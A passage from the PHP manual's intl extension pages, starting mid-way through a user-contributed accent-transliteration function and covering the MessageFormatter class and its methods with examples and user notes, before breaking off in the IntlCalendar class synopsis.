    $s    = preg_replace( '@\x{00d6}@u'    , "OE",    $s );    // umlaut Ö => OE
    $s    = preg_replace( '@\x{00dc}@u'    , "UE",    $s );    // umlaut Ü => UE
    $s    = preg_replace( '@\x{00e4}@u'    , "ae",    $s );    // umlaut ä => ae
    $s    = preg_replace( '@\x{00f6}@u'    , "oe",    $s );    // umlaut ö => oe
    $s    = preg_replace( '@\x{00fc}@u'    , "ue",    $s );    // umlaut ü => ue
    $s    = preg_replace( '@\x{00f1}@u'    , "ny",    $s );    // ñ => ny
    $s    = preg_replace( '@\x{00ff}@u'    , "yu",    $s );    // ÿ => yu

    // maps special characters (characters with diacritics) on their base-character followed by the diacritical mark
        // exmaple:  Ú => U´,  á => a`
    $s    = Normalizer::normalize( $s, Normalizer::FORM_D );

    $s    = preg_replace( '@\pM@u'        , "",    $s );    // removes diacritics

    $s    = preg_replace( '@\x{00df}@u'    , "ss",    $s );    // maps German ß onto ss
    $s    = preg_replace( '@\x{00c6}@u'    , "AE",    $s );    // Æ => AE
    $s    = preg_replace( '@\x{00e6}@u'    , "ae",    $s );    // æ => ae
    $s    = preg_replace( '@\x{0132}@u'    , "IJ",    $s );    // ? => IJ
    $s    = preg_replace( '@\x{0133}@u'    , "ij",    $s );    // ? => ij
    $s    = preg_replace( '@\x{0152}@u'    , "OE",    $s );    // Œ => OE
    $s    = preg_replace( '@\x{0153}@u'    , "oe",    $s );    // œ => oe

    $s    = preg_replace( '@\x{00d0}@u'    , "D",    $s );    // Ð => D
    $s    = preg_replace( '@\x{0110}@u'    , "D",    $s );    // Ð => D
    $s    = preg_replace( '@\x{00f0}@u'    , "d",    $s );    // ð => d
    $s    = preg_replace( '@\x{0111}@u'    , "d",    $s );    // d => d
    $s    = preg_replace( '@\x{0126}@u'    , "H",    $s );    // H => H
    $s    = preg_replace( '@\x{0127}@u'    , "h",    $s );    // h => h
    $s    = preg_replace( '@\x{0131}@u'    , "i",    $s );    // i => i
    $s    = preg_replace( '@\x{0138}@u'    , "k",    $s );    // ? => k
    $s    = preg_replace( '@\x{013f}@u'    , "L",    $s );    // ? => L
    $s    = preg_replace( '@\x{0141}@u'    , "L",    $s );    // L => L
    $s    = preg_replace( '@\x{0140}@u'    , "l",    $s );    // ? => l
    $s    = preg_replace( '@\x{0142}@u'    , "l",    $s );    // l => l
    $s    = preg_replace( '@\x{014a}@u'    , "N",    $s );    // ? => N
    $s    = preg_replace( '@\x{0149}@u'    , "n",    $s );    // ? => n
    $s    = preg_replace( '@\x{014b}@u'    , "n",    $s );    // ? => n
    $s    = preg_replace( '@\x{00d8}@u'    , "O",    $s );    // Ø => O
    $s    = preg_replace( '@\x{00f8}@u'    , "o",    $s );    // ø => o
    $s    = preg_replace( '@\x{017f}@u'    , "s",    $s );    // ? => s
    $s    = preg_replace( '@\x{00de}@u'    , "T",    $s );    // Þ => T
    $s    = preg_replace( '@\x{0166}@u'    , "T",    $s );    // T => T
    $s    = preg_replace( '@\x{00fe}@u'    , "t",    $s );    // þ => t
    $s    = preg_replace( '@\x{0167}@u'    , "t",    $s );    // t => t

    // remove all non-ASCii characters
    $s    = preg_replace( '@[^\0-\x80]@u'    , "",    $s );

    // possible errors in UTF8-regular-expressions
    if (empty($s))
        return $original_string;
    else
        return $s;
}
?>

The above function is mainly based on the following article:
http://ahinea.com/en/tech/accented-translate.html


The MessageFormatter class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

MessageFormatter is a concrete class that enables users to produce concatenated, language-neutral messages. The methods supplied in this class are used to build all the messages that are seen by end users.

The MessageFormatter class assembles messages from various fragments (such as text fragments, numbers, and dates) supplied by the program. Because of the MessageFormatter class, the program does not need to know the order of the fragments. The class uses the formatting specifications for the fragments to assemble them into a message that is contained in a single string within a resource bundle. For example, MessageFormatter enables you to print the phrase "Finished printing x out of y files..." in a manner that still allows for flexibility in translation.

Previously, an end user message was created as a sentence and handled as a string. This procedure created problems for localizers because the sentence structure, word order, number format and so on are very different from language to language. The language-neutral way to create messages keeps each part of the message separate and provides keys to the data. Using these keys, the MessageFormatter class can concatenate the parts of the message, localize them, and display a well-formed string to the end user.

MessageFormatter takes a set of objects, formats them, and then inserts the formatted strings into the pattern at the appropriate places. Choice formats can be used in conjunction with MessageFormatter to handle plurals, match numbers, and select from an array of items. Typically, the message format will come from resources and the arguments will be dynamically set at runtime.

Class synopsis

MessageFormatter {
/* Methods */
public __construct ( string $locale , string $pattern )
public static MessageFormatter create ( string $locale , string $pattern )
public static string formatMessage ( string $locale , string $pattern , array $args )
public string format ( array $args )
public int getErrorCode ( void )
public string getErrorMessage ( void )
public string getLocale ( void )
public string getPattern ( void )
public static array parseMessage ( string $locale , string $pattern , string $source )
public array parse ( string $value )
public bool setPattern ( string $pattern )
}

See Also

  • » ICU formatting documentation
  • » ICU message formatting description
  • » ICU message formatters
  • » ICU choice formatters

Table of Contents

  • MessageFormatter::create — Constructs a new Message Formatter
  • MessageFormatter::formatMessage — Quick format message
  • MessageFormatter::format — Format the message
  • MessageFormatter::getErrorCode — Get the error code from last operation
  • MessageFormatter::getErrorMessage — Get the error text from the last operation
  • MessageFormatter::getLocale — Get the locale for which the formatter was created.
  • MessageFormatter::getPattern — Get the pattern used by the formatter
  • MessageFormatter::parseMessage — Quick parse input string
  • MessageFormatter::parse — Parse input string according to pattern
  • MessageFormatter::setPattern — Set the pattern used by the formatter

User Contributed Notes

from dot php dot net at NOSPAM dot brainbox dot cz 02-Oct-2014 07:18
MessageFormatter does not work with DateTime instances as parameters in PHP < 5.5. Instance will be converted to timestamp with value 0 (e.g. 1970-01-01) and following Notice will be raised: „Object of class DateTime could not be converted to int“. You have to manually convert the instance to timestamp in these old PHP versions.

<?php
$datetime = new DateTime();
if (PHP_VERSION_ID < 50500) { // PHP < 5.5 needs conversion to timestamp
   MessageFormatter::formatMessage('en_US', 'Today is {0, date, full}.', array($datetime->getTimestamp()));
} else {
   // current code
   MessageFormatter::formatMessage('en_US', 'Today is {0, date, full}.', array($datetime));
}
?>


Constructs a new Message Formatter

  • « MessageFormatter
  • MessageFormatter::formatMessage »
  • PHP Manual
  • MessageFormatter
  • Constructs a new Message Formatter

MessageFormatter::create

MessageFormatter::__construct

msgfmt_create

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::create -- MessageFormatter::__construct -- msgfmt_create — Constructs a new Message Formatter

Description

Object oriented style (method)

public static MessageFormatter MessageFormatter::create ( string $locale , string $pattern )

Object oriented style (constructor):

public MessageFormatter::__construct ( string $locale , string $pattern )

Procedural style

MessageFormatter msgfmt_create ( string $locale , string $pattern )

Constructs a new Message Formatter

Parameters

locale

The locale to use when formatting arguments

pattern

The pattern string to stick arguments into. The pattern uses an 'apostrophe-friendly' syntax; it is run through » umsg_autoQuoteApostrophe before being interpreted.

Return Values

The formatter object

Examples

Example #1 msgfmt_create() example

<?php
$fmt = msgfmt_create("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
$fmt = msgfmt_create("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo $fmt->format(array(4560, 123, 4560/123));
$fmt = new MessageFormatter("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
echo $fmt->format(array(4560, 123, 4560/123));
?>

The above example will output:

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum

See Also

  • msgfmt_format() - Format the message
  • msgfmt_parse() - Parse input string according to pattern
  • msgfmt_get_error_code() - Get the error code from last operation
  • msgfmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

ezarko at synacor dot com 06-Oct-2009 12:18
Beware: passing an empty string for format returns null, not a formatter which returns empty strings.

$ php -r "print_r(new MessageFormatter('en_US',' '));"
MessageFormatter Object
(
)
$ php -r "print_r(new MessageFormatter('en_US',''));"


Quick format message

  • « MessageFormatter::create
  • MessageFormatter::format »
  • PHP Manual
  • MessageFormatter
  • Quick format message

MessageFormatter::formatMessage

msgfmt_format_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::formatMessage -- msgfmt_format_message — Quick format message

Description

Object oriented style

public static string MessageFormatter::formatMessage ( string $locale , string $pattern , array $args )

Procedural style

string msgfmt_format_message ( string $locale , string $pattern , array $args )

Quick formatting function that formats the string without having to explicitly create the formatter object. Use this function when the format operation is done only once and does not need and parameters or state to be kept.

Parameters

locale

The locale to use for formatting locale-dependent parts

pattern

The pattern string to insert things into. The pattern uses an 'apostrophe-friendly' syntax; it is run through » umsg_autoQuoteApostrophe before being interpreted.

args

The array of values to insert into the format string

Return Values

The formatted pattern string or FALSE if an error occurred

Examples

Example #1 msgfmt_format_message() example

<?php
echo msgfmt_format_message("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree\n", array(4560, 123, 4560/123));
echo msgfmt_format_message("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum\n", array(4560, 123, 4560/123));
?>

Example #2 OO example

<?php
echo MessageFormatter::formatMessage("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree\n", array(4560, 123, 4560/123));
echo MessageFormatter::formatMessage("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum\n", array(4560, 123, 4560/123));
?>

The above example will output:

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_parse() - Parse input string according to pattern
  • msgfmt_get_error_code() - Get the error code from last operation
  • msgfmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

zlobnygrif at gmail dot com 10-Jul-2013 02:59
<?php
var_dump(
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', ['SomeAnotherKey' => -1]),
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', [14]),
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', [133]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [0]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [1]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [2]),
  msgfmt_format_message('ru_RU', '{0, select, somevalue{This is some value} other{Unknown value}}', ['somevalue']),
  msgfmt_format_message('ru_RU', '{0, select, somevalue{This is some value} other{Unknown value "{0}"}}', ['somevalue2'])
);

var_dump(
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [0]),
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [1]),
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [2])
);
?>

Output (PHP 5.4.17RC1)
==========================
string 'The value of -1 is less 12' (length=26)
string 'The value of 14 is between 12 and 32' (length=36)
string 'The value of 133 is more than 32' (length=32)
string 'Zero' (length=4)
string 'One' (length=3)
string 'Unknown 2' (length=9)
string 'This is some value' (length=18)
string 'Unknown value "somevalue2"' (length=26)
string 'Peter has no cat' (length=16)
string 'Peter has a cat' (length=15)
string 'Peter has 2 cats' (length=16)


Format the message

  • « MessageFormatter::formatMessage
  • MessageFormatter::getErrorCode »
  • PHP Manual
  • MessageFormatter
  • Format the message

MessageFormatter::format

msgfmt_format

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::format -- msgfmt_format — Format the message

Description

Object oriented style

public string MessageFormatter::format ( array $args )

Procedural style

string msgfmt_format ( MessageFormatter $fmt , array $args )

Format the message by substituting the data into the format string according to the locale rules

Parameters

fmt

The message formatter

args

Arguments to insert into the format string

Return Values

The formatted string, or FALSE if an error occurred

Examples

Example #1 msgfmt_format() example

<?php
$fmt = msgfmt_create("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
$fmt = msgfmt_create("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo $fmt->format(array(4560, 123, 4560/123));
$fmt = new MessageFormatter("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
echo $fmt->format(array(4560, 123, 4560/123));
?>

The above example will output:

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_parse() - Parse input string according to pattern
  • msgfmt_format_message() - Quick format message
  • msgfmt_get_error_code() - Get the error code from last operation
  • msgfmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

There are no user contributed notes for this page.


Get the error code from last operation

  • « MessageFormatter::format
  • MessageFormatter::getErrorMessage »
  • PHP Manual
  • MessageFormatter
  • Get the error code from last operation

MessageFormatter::getErrorCode

msgfmt_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::getErrorCode -- msgfmt_get_error_code — Get the error code from last operation

Description

Object oriented style

public int MessageFormatter::getErrorCode ( void )

Procedural style

int msgfmt_get_error_code ( MessageFormatter $fmt )

Get the error code from last operation.

Parameters

fmt

The message formatter

Return Values

The error code, one of UErrorCode values. Initial value is U_ZERO_ERROR.

Examples

Example #1 msgfmt_get_error_code() example

<?php
$fmt = msgfmt_create("en_US", "{0, number} monkeys on {1, number} trees");
$str = msgfmt_format($fmt, array());
if(!$str) {
    echo "ERROR: ".msgfmt_get_error_message($fmt) . " (" . msgfmt_get_error_code($fmt) . ")\n";
}
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0, number} monkeys on {1, number} trees");
$str = $fmt->format(array());
if(!$str) {
    echo "ERROR: ".$fmt->getErrorMessage() . " (" . $fmt->getErrorCode() . ")\n";
}
?>

The above example will output:

ERROR: msgfmt_format: not enough parameters: U_ILLEGAL_ARGUMENT_ERROR (1)

See Also

  • msgfmt_get_error_message() - Get the error text from the last operation
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get the error text from the last operation

  • « MessageFormatter::getErrorCode
  • MessageFormatter::getLocale »
  • PHP Manual
  • MessageFormatter
  • Get the error text from the last operation

MessageFormatter::getErrorMessage

msgfmt_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::getErrorMessage -- msgfmt_get_error_message — Get the error text from the last operation

Description

Object oriented style

public string MessageFormatter::getErrorMessage ( void )

Procedural style

string msgfmt_get_error_message ( MessageFormatter $fmt )

Get the error text from the last operation.

Parameters

fmt

The message formatter

Return Values

Description of the last error.

Examples

Example #1 msgfmt_get_error_message() example

<?php
$fmt = msgfmt_create("en_US", "{0, number} monkeys on {1, number} trees");
$str = msgfmt_format($fmt, array());
if(!$str) {
    echo "ERROR: ".msgfmt_get_error_message($fmt) . " (" . msgfmt_get_error_code($fmt) . ")\n";
}
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0, number} monkeys on {1, number} trees");
$str = $fmt->format(array());
if(!$str) {
    echo "ERROR: ".$fmt->getErrorMessage() . " (" . $fmt->getErrorCode() . ")\n";
}
?>

The above example will output:

ERROR: msgfmt_format: not enough parameters: U_ILLEGAL_ARGUMENT_ERROR (1)

See Also

  • msgfmt_get_error_code() - Get the error code from last operation
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get the locale for which the formatter was created.

  • « MessageFormatter::getErrorMessage
  • MessageFormatter::getPattern »
  • PHP Manual
  • MessageFormatter
  • Get the locale for which the formatter was created.

MessageFormatter::getLocale

msgfmt_get_locale

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::getLocale -- msgfmt_get_locale — Get the locale for which the formatter was created.

Description

Object oriented style

public string MessageFormatter::getLocale ( void )

Procedural style

string msgfmt_get_locale ( NumberFormatter $formatter )

Get the locale for which the formatter was created.

Parameters

formatter

The formatter resource

Return Values

The locale name

Examples

Example #1 msgfmt_get_locale() example

<?php
$fmt = msgfmt_create('en_US', "Number {0,number}");
echo msgfmt_get_locale($fmt);
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter('en_US', "Number {0,number}");
echo $fmt->getLocale();
?>

The above example will output:

en_US

See Also

  • msgfmt_create() - Constructs a new Message Formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the pattern used by the formatter

  • « MessageFormatter::getLocale
  • MessageFormatter::parseMessage »
  • PHP Manual
  • MessageFormatter
  • Get the pattern used by the formatter

MessageFormatter::getPattern

msgfmt_get_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::getPattern -- msgfmt_get_pattern — Get the pattern used by the formatter

Description

Object oriented style

public string MessageFormatter::getPattern ( void )

Procedural style

string msgfmt_get_pattern ( MessageFormatter $fmt )

Get the pattern used by the formatter

Parameters

fmt

The message formatter

Return Values

The pattern string for this message formatter

Examples

Example #1 msgfmt_get_pattern() example

<?php
$fmt = msgfmt_create( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatting result: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";

msgfmt_set_pattern( $fmt, "{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatted number: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatting result: " . $fmt->format(array(123, 456)) . "\n";

$fmt->setPattern("{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatted number: " . $fmt->format(array(123, 456)) . "\n";
?>

The above example will output:

Default pattern: '{0,number} monkeys on {1,number} trees'
Formatting result: 123 monkeys on 456 trees
New pattern: '{0,number} trees hosting {1,number} monkeys'
Formatted number: 123 trees hosting 456 monkeys

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_set_pattern() - Set the pattern used by the formatter

User Contributed Notes

There are no user contributed notes for this page.


Quick parse input string

  • « MessageFormatter::getPattern
  • MessageFormatter::parse »
  • PHP Manual
  • MessageFormatter
  • Quick parse input string

MessageFormatter::parseMessage

msgfmt_parse_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::parseMessage -- msgfmt_parse_message — Quick parse input string

Description

Object oriented style

public static array MessageFormatter::parseMessage ( string $locale , string $pattern , string $source )

Procedural style

array msgfmt_parse_message ( string $locale , string $pattern , string $value )

Parses input string without explicitly creating the formatter object. Use this function when the format operation is done only once and does not need and parameters or state to be kept.

Parameters

locale

The locale to use for parsing locale-dependent parts

pattern

The pattern with which to parse the value.

source

The string to parse, conforming to the pattern.

Return Values

An array containing items extracted, or FALSE on error

Examples

Example #1 msgfmt_parse_message() example

<?php
$fmt = msgfmt_parse_message('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree",
                            "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($fmt);

$fmt = msgfmt_parse_message('de', "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum",
                            "4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum");
var_export($fmt);
?>

Example #2 OO example

<?php
$fmt = MessageFormatter::parseMessage('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree",
                            "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($fmt);

$fmt = MessageFormatter::parseMessage('de', "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum",
                            "4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum");
var_export($fmt);
?>

The above example will output:

array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)
array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_format_message() - Quick format message
  • msgfmt_parse() - Parse input string according to pattern

User Contributed Notes

There are no user contributed notes for this page.


Parse input string according to pattern

  • « MessageFormatter::parseMessage
  • MessageFormatter::setPattern »
  • PHP Manual
  • MessageFormatter
  • Parse input string according to pattern

MessageFormatter::parse

msgfmt_parse

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::parse -- msgfmt_parse — Parse input string according to pattern

Description

Object oriented style

public array MessageFormatter::parse ( string $value )

Procedural style

array msgfmt_parse ( MessageFormatter $fmt , string $value )

Parses input string and return any extracted items as an array.

Parameters

fmt

The message formatter

value

The string to parse

Return Values

An array containing the items extracted, or FALSE on error

Examples

Example #1 msgfmt_parse() example

<?php
$fmt = msgfmt_create('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
$res = msgfmt_parse($fmt, "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($res);

$fmt = msgfmt_create('de', "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
$res = msgfmt_parse($fmt, "4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum");
var_export($res);
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
$res = $fmt->parse("4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($res);

$fmt = new MessageFormatter('de', "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
$res = $fmt->parse("4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum");
var_export($res);
?>

The above example will output:

array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)
array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_format() - Format the message
  • msgfmt_parse_message() - Quick parse input string

User Contributed Notes

There are no user contributed notes for this page.


Set the pattern used by the formatter

  • « MessageFormatter::parse
  • IntlCalendar »
  • PHP Manual
  • MessageFormatter
  • Set the pattern used by the formatter

MessageFormatter::setPattern

msgfmt_set_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::setPattern -- msgfmt_set_pattern — Set the pattern used by the formatter

Description

Object oriented style

public bool MessageFormatter::setPattern ( string $pattern )

Procedural style

bool msgfmt_set_pattern ( MessageFormatter $fmt , string $pattern )

Set the pattern used by the formatter

Parameters

fmt

The message formatter

pattern

The pattern string to use in this message formatter. The pattern uses an 'apostrophe-friendly' syntax; it is run through » umsg_autoQuoteApostrophe before being interpreted.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 msgfmt_set_pattern() example

<?php
$fmt = msgfmt_create( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatting result: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";

msgfmt_set_pattern( $fmt, "{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatted number: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatting result: " . $fmt->format(array(123, 456)) . "\n";

$fmt->setPattern("{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatted number: " . $fmt->format(array(123, 456)) . "\n";
?>

The above example will output:

Default pattern: '{0,number} monkeys on {1,number} trees'
Formatting result: 123 monkeys on 456 trees
New pattern: '{0,number} trees hosting {1,number} monkeys'
Formatted number: 123 trees hosting 456 monkeys

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_get_pattern() - Get the pattern used by the formatter

User Contributed Notes

neil dot smith at vouchercloud dot com 05-Aug-2014 09:29
A correct example would be to transpose the placeholders in pattern 2.

This is typical where changing messages from one language to another changes the word order, to result in a sensible translation.

Let's imagine it's localised as Spanish or Russian instead of English.
So really you want to have pattern 2 provided by your human translator to read like this :

New pattern: '{1,number} trees hosting {0,number} monkeys'
Formatted number: 456 trees hosting 123 monkeys

That is - the order of arguments is always the same, but your translated message content has the placeholders transposed for non English languages.


The IntlCalendar class

(PHP 5.5.0, PECL >= 3.0.0a1)

Introduction

Class synopsis

IntlCalendar {
/* Constants */
const integer FIELD_ERA = 0 ;
const integer FIELD_YEAR = 1 ;
const integer FIELD_MONTH = 2 ;
const integer FIELD_WEEK_OF_YEAR = 3 ;
const integer FIELD_WEEK_OF_MONTH = 4 ;
const integer FIELD_DATE = 5 ;
const integer FIELD_DAY_OF_YEAR = 6 ;
const integer FIELD_DAY_OF_WEEK = 7 ;
const integer FIELD_DAY_OF_WEEK_IN_MONTH = 8 ;
const integer FIELD_AM_PM = 9 ;
const integer FIELD_HOUR = 10 ;
const integer FIELD_HOUR_OF_DAY = 11 ;
const integer FIELD_MINUTE = 12 ;
const integer FIELD_SECOND = 13 ;
const integer FIELD_MILLISECOND = 14 ;
const integer FIELD_ZONE_OFFSET = 15 ;
const integer FIELD_DST_OFFSET = 16 ;
const integer FIELD_YEAR_WOY = 17 ;
const integer FIELD_DOW_LOCAL = 18 ;
const integer FIELD_EXTENDED_YEAR = 19 ;
const integer FIELD_JULIAN_DAY = 20 ;
const integer FIELD_MILLISECONDS_IN_DAY = 21 ;
const integer FIELD_IS_LEAP_MONTH = 22 ;
const integer FIELD_FIELD_COUNT = 23 ;
const integer FIELD_DAY_OF_MONTH = 5 ;
const integer DOW_SUNDAY = 1 ;
const integer DOW_MONDAY = 2 ;
const integer DOW_TUESDAY = 3 ;
const integer DOW_WEDNESDAY = 4 ;
const integer DOW_THURSDAY = 5 ;
const integer DOW_FRIDAY = 6 ;
const integer DOW_SATURDAY = 7 ;
const integer DOW_TYPE_WEEKDAY = 0 ;
const integer DOW_TYPE_WEEKEND = 1 ;
const integer DOW_TYPE_WEEKEND_OFFSET = 2 ;
const integer DOW_TYPE_WEEKEND_CEASE = 3 ;
const integer WALLTIME_FIRST = 1 ;
const integer WALLTIME_LAST = 0 ;
const integer WALLTIME_NEXT_VALID = 2 ;
/* Methods */
public bool add ( int $field , int $amount )
bool intlcal_add ( IntlCalendar $cal , int $field , int $amount )
public bool after ( IntlCalendar $other )
bool intlcal_after ( IntlCalendar $cal , IntlCalendar $other )
public bool before ( IntlCalendar $other )
bool intlcal_before ( IntlCalendar $cal , IntlCalendar $other )
public bool clear ([ int $field = NULL ] )
bool intlcal_clear ( IntlCalendar $cal [, int $field = NULL ] )
private __construct ( void )
public static IntlCalendar createInstance ([ mixed $timeZone = NULL [, string $locale = "" ]] )
IntlCalendar intlcal_create_instance ([ mixed $timeZone = NULL [, string $locale = "" ]] )
public bool equals ( IntlCalendar $other )
bool intlcal_equals ( IntlCalendar $cal , IntlCalendar $other )
public int fieldDifference ( float $when , int $field )
int intlcal_field_difference ( IntlCalendar $cal , float $when , int $field )
public static IntlCalendar fromDateTime ( mixed $dateTime )
IntlCalendar intlcal_from_date_time ( mixed $dateTime )
public int get ( int $field )
int intlcal_get ( IntlCalendar> $cal , int $field )
public int getActualMaximum ( int $field )
int intlcal_get_actual_maximum ( IntlCalendar $cal , int $field )
public int getActualMinimum ( int $field )
int intlcal_get_actual_minimum ( IntlCalendar $cal , int $field )
public static array getAvailableLocales ( void )
array intlcal_get_available_locales ( void )
public int getDayOfWeekType ( int $dayOfWeek )
int intlcal_get_day_of_week_type ( IntlCalendar $cal , int $dayOfWeek )
public int getErrorCode ( void )
public string getErrorMessage ( void )
public int getFirstDayOfWeek ( void )
int intlcal_get_first_day_of_week ( IntlCalendar $cal )
public int getGreatestMinimum ( int $field )
int intlcal_get_greatest_minimum ( IntlCalendar $cal , int $field )
public static Iterator getKeywordValuesForLocale ( string $key , string $locale , boolean $commonlyUsed )
Iterator intlcal_get_keyword_values_for_locale ( string $key , string $locale , boolean $commonlyUsed )
public int getLeastMaximum ( int $field )
int intlcal_get_least_maximum ( IntlCalendar $cal , int $field )
public string getLocale ( int $localeType )
string intlcal_get_locale ( IntlCalendar $cal , int $localeType )
public int getMaximum ( int $field )
int intlcal_get_maximum ( IntlCalendar $cal , int $field )
public int getMinimalDaysInFirstWeek ( void )
int intlcal_get_minimal_days_in_first_week ( IntlCalendar $cal )
public int getMinimum ( int $field )
int intlcal_get_minimum ( IntlCalendar $cal , int $field )
public static float getNow ( void )
float intlcal_get_now ( void )
public int getRepeatedWallTimeOption ( void )
int intlcal_get_repeated_wall_time_option ( IntlCalendar $cal )
